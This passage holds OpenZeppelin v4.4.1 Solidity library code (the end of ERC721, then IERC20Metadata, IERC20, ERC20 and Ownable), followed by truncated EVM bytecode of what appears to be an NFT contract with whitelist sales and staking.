"ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061039e576000357c01000000000000000000000000000000000000000000000000000000009004806365e64903116101ee578063a4b4a5341161011f578063c87b56dd116100bd578063e985e9c51161008c578063e985e9c514610a0d578063f119f56714610a56578063f2fde38b14610a76578063f376018f14610a9657600080fd5b8063c87b56dd14610972578063ce933ce114610992578063cfc86f7b146109a8578063db912aa4146109bd57600080fd5b8063bd625d09116100f9578063bd625d0914610909578063bf424e7e14610920578063c002d23d14610936578063c39cbef11461095257600080fd5b8063a4b4a534146108b2578063b88d4fde146108c9578063bb31dea2146108e957600080fd5b8063762b1c921161018c5780639416b423116101665780639416b4231461083d57806395d89b411461085d5780639ffdb65a14610872578063a22cb4651461089257600080fd5b8063762b1c92146107df5780638588b2c5146107ff5780638da5cb5b1461081f57600080fd5b806370a08231116101c857806370a082311461077f578063715018a61461079f57806374151be0146107b4578063756059bd146107c957600080fd5b806365e649031461072957806366c0f38f146107495780636d5224181461075f57600080fd5b806323b872dd116102d35780634019a3b81161027157806354b6f1611161024057806354b6f161146106b457806355f804b3146106c95780635a5eff31146106e95780636352211e1461070957600080fd5b80634019a3b81461063457806342842e0e146106545780634d426528146106745780634f6ccce71461069457600080fd5b80633479d5c9116102ad5780633479d5c9146105bf57806336033deb146105df578063386172f3146105ff5780633ccfd60b1461061f57600080fd5b806323b872dd1461055f5780632f745c591461057f5780633028f63a1461059f57600080fd5b80630f51e77411610340578063169926631161031a578063169926631461050157806318160ddd146105145780631c760bdb146105295780631e0cc9a81461054957600080fd5b80630f51e774146104ae57806312616a7b146104c157806315b56d10146104e157600080fd5b8063095ea7b31161037c578063095ea7b3146104325780630a456fed146104545780630b29043a146104785780630d1599471461048e57600080fd5b806301ffc9a7146103a357806306fdde03146103d8578063081812fc146103fa575b600080fd5b3480156103af57600080fd5b506103c36103be366004614a24565b610ab6565b60405190151581526020015b60405180910390f35b3480156103e457600080fd5b506103ed610b0f565b6040516103cf9190614a99565b34801561040657600080fd5b5061041a610415366004614aac565b610ba1565b604051600160a060020a0390911681526020016103cf565b34801561043e57600080fd5b5061045261044d366004614ae1565b610c4f565b005b34801561046057600080fd5b5061046a60135481565b6040519081526020016103cf565b34801561048457600080fd5b5061046a60165481565b34801561049a57600080fd5b5061046a6104a9366004614aac565b610d87565b6104526104bc366004614b0b565b610da8565b3480156104cd57600080fd5b506104526104dc366004614aac565b61109d565b3480156104ed57600080fd5b506103c36104fc366004614c44565b611129565b61045261050f366004614aac565b61115c565b34801561052057600080fd5b5060085461046a565b34801561053557600080fd5b50610452610544366004614aac565b6113a0565b34801561055557600080fd5b5061046a60125481565b34801561056b57600080fd5b5061045261057a366004614c79565b6114ed565b34801561058b57600080fd5b5061046a61059a366004614ae1565b611577565b3480156105ab57600080fd5b506104526105ba366004614cb5565b611622565b3480156105cb57600080fd5b506103c36105da366004614aac565b6116cf565b3480156105eb57600080fd5b506103ed6105fa366004614aac565b6117df565b34801561060b57600080fd5b5061045261061a366004614aac565b611879565b34801561062b57600080fd5b506104526118fe565b34801561064057600080fd5b5061045261064f366004614aac565b6119c8565b34801561066057600080fd5b5061045261066f366004614c79565b611a4d565b34801561068057600080fd5b5061045261068f366004614cd0565b611a68565b3480156106a057600080fd5b5061046a6106af366004614aac565b611bf0565b3480156106c057600080fd5b5061046a603281565b3480156106d557600080fd5b506104526106e4366004614d17565b611c97565b3480156106f557600080fd5b5061046a610704366004614aac565b611cee565b34801561071557600080fd5b5061041a610724366004614aac565b611d11565b34801561073557600080fd5b50610452610744366004614cb5565b611d9f565b34801561075557600080fd5b5061046a60145481565b34801561076b57600080fd5b506103ed61077a366004614aac565b611e4c565b34801561078b57600080fd5b5061046a61079a366004614cb5565b611eee565b3480156107ab57600080fd5b50610452611f8b565b3480156107c057600080fd5b5061046a606481565b3480156107d557600080fd5b5061046a6105dc81565b3480156107eb57600080fd5b506104526107fa366004614aac565b611fe2565b34801561080b57600080fd5b5061045261081a366004614aac565b612210565b34801561082b57600080fd5b50600d54600160a060020a031661041a565b34801561084957600080fd5b506103ed610858366004614c44565b612582565b34801561086957600080fd5b506103ed612752565b34801561087e57600080fd5b506103c361088d366004614c44565b612761565b34801561089e57600080fd5b506104526108ad366004614d77565b612b9f565b3480156108be57600080fd5b5060155442116103c3565b3480156108d557600080fd5b506104526108e4366004614db3565b612baa565b3480156108f557600080fd5b50610452610904366004614aac565b612c35565b34801561091557600080fd5b5060165442116103c3565b34801561092c57600080fd5b5061046a61025881565b34801561094257600080fd5b5061046a67011c37937e08000081565b34801561095e57600080fd5b5061045261096d366004614cd0565b612cba565b34801561097e57600080fd5b506103ed61098d366004614aac565b612ecf565b34801561099e57600080fd5b5061046a60155481565b3480156109b457600080fd5b506103ed612fbb565b3480156109c957600080fd5b506109fe6109d8366004614aac565b6017602052600090815260409020805460019091015460ff808316926101009004169083565b6040516103cf93929190614e5e565b348015610a1957600080fd5b506103c3610a28366004614ead565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205460ff1690565b348015610a6257600080fd5b50610452610a71366004614aac565b612fc8565b348015610a8257600080fd5b50610452610a91366004614cb5565b6132d7565b348015610aa257600080fd5b50610452610ab1366004614aac565b6133aa565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1982167f780e9d63000000000000000000000000000000000000000000000000000000001480610b095750610b0982613435565b92915050565b606060008054610b1e90614ee0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4a90614ee0565b8015610b975780601f10610b6c57610100808354040283529160200191610b97565b820191906000526020600020905b815481529060010190602001808311610b7a57829003601f168201915b5050505050905090565b600081815260026020526040812054600160a060020a0316610c335760405160e560020a62461bcd02815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b50600090815260046020526040902054600160a060020a031690565b6000610c5a82611d11565b905080600160a060020a031683600160a060020a03161415610ce75760405160e560020a62461bcd02815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610c2a565b33600160a060020a0382161480610d035750610d038133610a28565b610d785760405160e560020a62461bcd02815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610c2a565b610d82838361350f565b505050565b60118181548110610d9757600080fd5b600091825260209091200154905081565b67011c37937e080000341015610e035760405160e560020a62461bcd02815260206004820152601b60248201527f4d696e74696e67205072696365206973206e6f7420656e6f75676800000000006044820152606401610c2a565b6012544211610e575760405160e560020a62461bcd02815260206004820152601f60248201527f507269766174652053616c65206973206e6f74207374617274656420796574006044820152606401610c2a565b601254610e679062015180614f63565b4210610eb85760405160e560020a62461bcd02815260206004820152601d60248201527f507269766174652053616c6520697320616c726561647920656e6465640000006044820152606401610c2a565b3360009081526018602052604090205460ff1615610f675760405160e560020a62461bcd02815260206004820152605a60248201527f596f7527766520616c7265616479206d696e74656420746f6b656e2e2049662060448201527f796f752077616e74206d6f72652c20796f752077696c6c2062652061626c652060648201527f746f206d696e7420647572696e67205075626c69632053616c65000000000000608482015260a401610c2a565b6040516c01000000000000000000000000330260208201527f12b1013fe853dea282b3440a70e5d739b7ef75e135122659fe5408bde23a4cc190600090603401604051602081830303815290604052805190602001209050610fff84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525086925085915061358a9050565b6110745760405160e560020a62461bcd02815260206004820152603560248201527f536f7272792c20796f75277265206e6f742077686974656c69737465642e205060448201527f6c6561736520747279205075626c69632053616c6500000000000000000000006064820152608401610c2a565b336000908152601860205260408120805460ff19166001179055611097906135a0565b50505050565b600d54600160a060020a031633146110e85760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b6015819055604080518281524260208201527f9ebd770b6933866942a2245db0e13be99b87ec65878b4c32ac3183fcb9df58a391015b60405180910390a150565b6000600c61113683612582565b6040516111439190614f7b565b9081526040519081900360200190205460ff1692915050565b61116e8167011c37937e080000614f97565b3410156111c05760405160e560020a62461bcd02815260206004820152601b60248201527f4d696e74696e67205072696365206973206e6f7420656e6f75676800000000006044820152606401610c2a565b60135442116112145760405160e560020a62461bcd02815260206004820152601e60248201527f5075626c69632053616c65206973206e6f7420737461727465642079657400006044820152606401610c2a565b6013546112249062015180614f63565b42106112755760405160e560020a62461bcd02815260206004820152601c60248201527f5075626c69632053616c6520697320616c726561647920656e646564000000006044820152606401610c2a565b600381106112c85760405160e560020a62461bcd02815260206004820152601e60248201527f596f752063616e206f6e6c792072657175697265206174206d6f7374203200006044820152606401610c2a565b336000908152601960205260409020546003116113505760405160e560020a62461bcd02815260206004820152602e60248201527f596f752063616e206f6e6c79206d696e74206174206d6f73742032206475726960448201527f6e67205075626c69632053616c650000000000000000000000000000000000006064820152608401610c2a565b336000908152601960205260408120805483929061136f908490614f63565b90915550600090505b8181101561139c5761138a60006135a0565b8061139481614fb6565b915050611378565b5050565b600081815260176020526040902054610100900460ff1661142c5760405160e560020a62461bcd02815260206004820152602760248201527f5468697320746f6b656e206861736e27742065766572206265656e207374616b60448201527f6564207965742e000000000000000000000000000000000000000000000000006064820152608401610c2a565b601c546040517f183b8bac00000000000000000000000000000000000000000000000000000000815233600482015260248101839052600160a060020a039091169063183b8bac90604401600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b5050601c546040805160208101909152600081526114d49350600160a060020a03909116915033908490613757565b6000908152601760205260409020805461ff0019169055565b6114f733826137e3565b61156c5760405160e560020a62461bcd02815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610c2a565b610d828383836138ee565b600061158283611eee565b82106115f95760405160e560020a62461bcd02815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610c2a565b50600160a060020a03919091166000908152600660209081526040808320938352929052205490565b600d54600160a060020a0316331461166d5760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b601c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383169081179091556040805130815260208101929092527f760ce5dc79857db1adeef862ffd74cad38dd68efdfd73100f66a342b43818cbc910161111e565b600081815260176020526040812054819060ff1660028111156116f4576116f4614e2f565b9050600160008481526017602052604090205460ff16600281111561171b5761171b614e2f565b14156117925760405160e560020a62461bcd02815260206004820152602860248201527f5472792061646f7074696e6720776974682047656e65736973206f7220416c7060448201527f68612057756c667a0000000000000000000000000000000000000000000000006064820152608401610c2a565b600083815260176020526040812060010154600e8054919291849081106117bb576117bb614fd1565b906000526020600020015490508082426117d59190615000565b1195945050505050565b600a60205260009081526040902080546117f890614ee0565b80601f016020809104026020016040519081016040528092919081815260200182805461182490614ee0565b80156118715780601f1061184657610100808354040283529160200191611871565b820191906000526020600020905b81548152906001019060200180831161185457829003601f168201915b505050505081565b600d54600160a060020a031633146118c45760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b6014819055604080518281524260208201527f46fc69507a8168e1f58a1539aa368a4c0187cdad07df168d054f733afc055ec0910161111e565b600d54600160a060020a031633146119495760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b30318061199b5760405160e560020a62461bcd02815260206004820152600f60248201527f42616c616e6365206973207a65726f00000000000000000000000000000000006044820152606401610c2a565b604051339082156108fc029083906000818181858888f1935050505015801561139c573d6000803e3d6000fd5b600d54600160a060020a03163314611a135760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b6012819055604080518281524260208201527fc0dc7f303e850ad753f8cd31dd289f4487d62cb53a165cf760b65694e1b3f270910161111e565b610d8283838360405180602001604052806000815250612baa565b33611a7283611d11565b600160a060020a031614611acb5760405160e560020a62461bcd02815260206004820152601f60248201527f4368616e676542696f3a20796f75277265206e6f7420746865206f776e6572006044820152606401610c2a565b601b54604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921691639dc29fac913391849163313ce5679160048083019260209291908290030181865afa158015611b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5b9190615017565b611b6690600a615121565b611b71906064614f97565b6040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b158015611bce57600080fd5b505af1158015611be2573d6000803e3d6000fd5b5050505061139c8282613ad9565b6000611bfb60085490565b8210611c725760405160e560020a62461bcd02815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610c2a565b60088281548110611c8557611c85614fd1565b90600052602060002001549050919050565b600d54600160a060020a03163314611ce25760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b610d82601a83836148ec565b60008181526017602052604081205460ff166002811115610b0957610b09614e2f565b600081815260026020526040812054600160a060020a031680610b095760405160e560020a62461bcd02815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610c2a565b600d54600160a060020a03163314611dea5760405160e560020a62461bc